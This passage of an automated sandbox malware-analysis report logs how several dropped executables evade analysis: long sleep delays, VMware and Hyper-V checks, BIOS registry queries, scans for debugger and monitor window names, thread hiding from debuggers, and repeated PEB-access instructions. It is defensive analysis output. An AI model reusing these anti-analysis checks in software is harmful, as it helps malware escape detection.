Source: C:\Windows\explorer.exe TID: 4792	Thread sleep count: 175 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1052	Thread sleep count: 230 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6640	Thread sleep count: 339 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1568	Thread sleep count: 206 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe TID: 5392	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8039.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\8039.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 593

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Code function: 23_2_6D276B90 rdtsc

23_2_6D276B90

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8039.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 8039.exe, 00000016.00000002.947294961.0000000000B60000.00000004.00000020.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000005.00000000.694802173.000000000FD02000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.692915166.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 8039.exe, 00000016.00000002.947019829.0000000000B0A000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|
Source: explorer.exe, 00000005.00000000.716863699.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.692915166.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.706261593.000000000A716000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAa
Source: explorer.exe, 00000005.00000000.694802173.000000000FD02000.00000004.00000001.sdmp	Binary or memory string: c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&b
Source: 8039.exe, 00000016.00000002.947294961.0000000000B60000.00000004.00000020.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareR8SZCTXCWin32_VideoController5UGTV26XVideoController120060621000000.000000-00088702277display.infMSBDAW1MK44M8PCI\VEN_15AD&DEV_04qD
Source: explorer.exe, 00000005.00000000.688028837.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.706261593.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.706350974.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp, 610B.exe, 0000001B.00000002.942712473.000000000076C000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe

Thread information set: HideFromDebugger

Jump to behavior

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

0_2_00422950

Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 10_2_02BD0042 push dword ptr fs:[00000030h]	10_2_02BD0042
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 12_2_02E1B863 push dword ptr fs:[00000030h]	12_2_02E1B863
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318D34 mov eax, dword ptr fs:[00000030h]	23_2_6D318D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]	23_2_6D271520
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]	23_2_6D271520
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]	23_2_6D271520
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]	23_2_6D271520
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 mov eax, dword ptr fs:[00000030h]	23_2_6D271520
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D253D34 mov eax, dword ptr fs:[00000030h]	23_2_6D253D34
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24AD30 mov eax, dword ptr fs:[00000030h]	23_2_6D24AD30
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274D3B mov eax, dword ptr fs:[00000030h]	23_2_6D274D3B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274D3B mov eax, dword ptr fs:[00000030h]	23_2_6D274D3B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274D3B mov eax, dword ptr fs:[00000030h]	23_2_6D274D3B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D303518 mov eax, dword ptr fs:[00000030h]	23_2_6D303518
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D303518 mov eax, dword ptr fs:[00000030h]	23_2_6D303518
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D303518 mov eax, dword ptr fs:[00000030h]	23_2_6D303518
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F51D mov eax, dword ptr fs:[00000030h]	23_2_6D24F51D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26C577 mov eax, dword ptr fs:[00000030h]	23_2_6D26C577
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26C577 mov eax, dword ptr fs:[00000030h]	23_2_6D26C577
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24354C mov eax, dword ptr fs:[00000030h]	23_2_6D24354C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24354C mov eax, dword ptr fs:[00000030h]	23_2_6D24354C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F8D47 mov eax, dword ptr fs:[00000030h]	23_2_6D2F8D47
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283D43 mov eax, dword ptr fs:[00000030h]	23_2_6D283D43
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3540 mov eax, dword ptr fs:[00000030h]	23_2_6D2C3540
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F3D40 mov eax, dword ptr fs:[00000030h]	23_2_6D2F3D40
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D267D50 mov eax, dword ptr fs:[00000030h]	23_2_6D267D50
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2735A1 mov eax, dword ptr fs:[00000030h]	23_2_6D2735A1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271DB5 mov eax, dword ptr fs:[00000030h]	23_2_6D271DB5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271DB5 mov eax, dword ptr fs:[00000030h]	23_2_6D271DB5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271DB5 mov eax, dword ptr fs:[00000030h]	23_2_6D271DB5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 mov eax, dword ptr fs:[00000030h]	23_2_6D30B581
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 mov eax, dword ptr fs:[00000030h]	23_2_6D30B581
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 mov eax, dword ptr fs:[00000030h]	23_2_6D30B581
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 mov eax, dword ptr fs:[00000030h]	23_2_6D30B581
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243591 mov eax, dword ptr fs:[00000030h]	23_2_6D243591
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2795EC mov eax, dword ptr fs:[00000030h]	23_2_6D2795EC
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2495F0 mov eax, dword ptr fs:[00000030h]	23_2_6D2495F0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2495F0 mov ecx, dword ptr fs:[00000030h]	23_2_6D2495F0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F8DF1 mov eax, dword ptr fs:[00000030h]	23_2_6D2F8DF1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2415C1 mov eax, dword ptr fs:[00000030h]	23_2_6D2415C1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFDD3 mov eax, dword ptr fs:[00000030h]	23_2_6D2FFDD3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27BC2C mov eax, dword ptr fs:[00000030h]	23_2_6D27BC2C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262430 mov eax, dword ptr fs:[00000030h]	23_2_6D262430
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D262430 mov eax, dword ptr fs:[00000030h]	23_2_6D262430
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244439 mov eax, dword ptr fs:[00000030h]	23_2_6D244439
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC01 mov eax, dword ptr fs:[00000030h]	23_2_6D25FC01
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC01 mov eax, dword ptr fs:[00000030h]	23_2_6D25FC01
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC01 mov eax, dword ptr fs:[00000030h]	23_2_6D25FC01
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC01 mov eax, dword ptr fs:[00000030h]	23_2_6D25FC01
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318C14 mov eax, dword ptr fs:[00000030h]	23_2_6D318C14
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301C06 mov eax, dword ptr fs:[00000030h]	23_2_6D301C06
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31740D mov eax, dword ptr fs:[00000030h]	23_2_6D31740D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31740D mov eax, dword ptr fs:[00000030h]	23_2_6D31740D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31740D mov eax, dword ptr fs:[00000030h]	23_2_6D31740D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318C75 mov eax, dword ptr fs:[00000030h]	23_2_6D318C75
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26746D mov eax, dword ptr fs:[00000030h]	23_2_6D26746D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC77 mov eax, dword ptr fs:[00000030h]	23_2_6D25FC77
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC77 mov eax, dword ptr fs:[00000030h]	23_2_6D25FC77
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC77 mov eax, dword ptr fs:[00000030h]	23_2_6D25FC77
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25FC77 mov eax, dword ptr fs:[00000030h]	23_2_6D25FC77
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D285C70 mov eax, dword ptr fs:[00000030h]	23_2_6D285C70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B mov eax, dword ptr fs:[00000030h]	23_2_6D27AC7B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318450 mov eax, dword ptr fs:[00000030h]	23_2_6D318450
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DC450 mov eax, dword ptr fs:[00000030h]	23_2_6D2DC450
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DC450 mov eax, dword ptr fs:[00000030h]	23_2_6D2DC450
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D319CB3 mov eax, dword ptr fs:[00000030h]	23_2_6D319CB3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244CB0 mov eax, dword ptr fs:[00000030h]	23_2_6D244CB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D4B0 mov eax, dword ptr fs:[00000030h]	23_2_6D27D4B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D241480 mov eax, dword ptr fs:[00000030h]	23_2_6D241480
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 mov eax, dword ptr fs:[00000030h]	23_2_6D304496
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24649B mov eax, dword ptr fs:[00000030h]	23_2_6D24649B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24649B mov eax, dword ptr fs:[00000030h]	23_2_6D24649B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24EC9B mov eax, dword ptr fs:[00000030h]	23_2_6D24EC9B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24EC9B mov eax, dword ptr fs:[00000030h]	23_2_6D24EC9B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3014FB mov eax, dword ptr fs:[00000030h]	23_2_6D3014FB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FD4E1 mov eax, dword ptr fs:[00000030h]	23_2_6D2FD4E1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318CD6 mov eax, dword ptr fs:[00000030h]	23_2_6D318CD6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 mov eax, dword ptr fs:[00000030h]	23_2_6D27CCC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 mov eax, dword ptr fs:[00000030h]	23_2_6D27CCC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 mov eax, dword ptr fs:[00000030h]	23_2_6D27CCC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 mov eax, dword ptr fs:[00000030h]	23_2_6D27CCC0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242CDB mov eax, dword ptr fs:[00000030h]	23_2_6D242CDB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244F2E mov eax, dword ptr fs:[00000030h]	23_2_6D244F2E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244F2E mov eax, dword ptr fs:[00000030h]	23_2_6D244F2E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246730 mov eax, dword ptr fs:[00000030h]	23_2_6D246730
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246730 mov eax, dword ptr fs:[00000030h]	23_2_6D246730
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246730 mov eax, dword ptr fs:[00000030h]	23_2_6D246730
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27E730 mov eax, dword ptr fs:[00000030h]	23_2_6D27E730
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B73D mov eax, dword ptr fs:[00000030h]	23_2_6D26B73D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B73D mov eax, dword ptr fs:[00000030h]	23_2_6D26B73D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C707 mov eax, dword ptr fs:[00000030h]	23_2_6D27C707
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C707 mov ecx, dword ptr fs:[00000030h]	23_2_6D27C707
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C707 mov eax, dword ptr fs:[00000030h]	23_2_6D27C707
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26F716 mov eax, dword ptr fs:[00000030h]	23_2_6D26F716
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FDF1D mov ecx, dword ptr fs:[00000030h]	23_2_6D2FDF1D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FDF1D mov eax, dword ptr fs:[00000030h]	23_2_6D2FDF1D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274710 mov eax, dword ptr fs:[00000030h]	23_2_6D274710
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DFF10 mov eax, dword ptr fs:[00000030h]	23_2_6D2DFF10
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DFF10 mov eax, dword ptr fs:[00000030h]	23_2_6D2DFF10
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246F60 mov eax, dword ptr fs:[00000030h]	23_2_6D246F60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246F60 mov eax, dword ptr fs:[00000030h]	23_2_6D246F60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E760 mov eax, dword ptr fs:[00000030h]	23_2_6D26E760
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E760 mov eax, dword ptr fs:[00000030h]	23_2_6D26E760
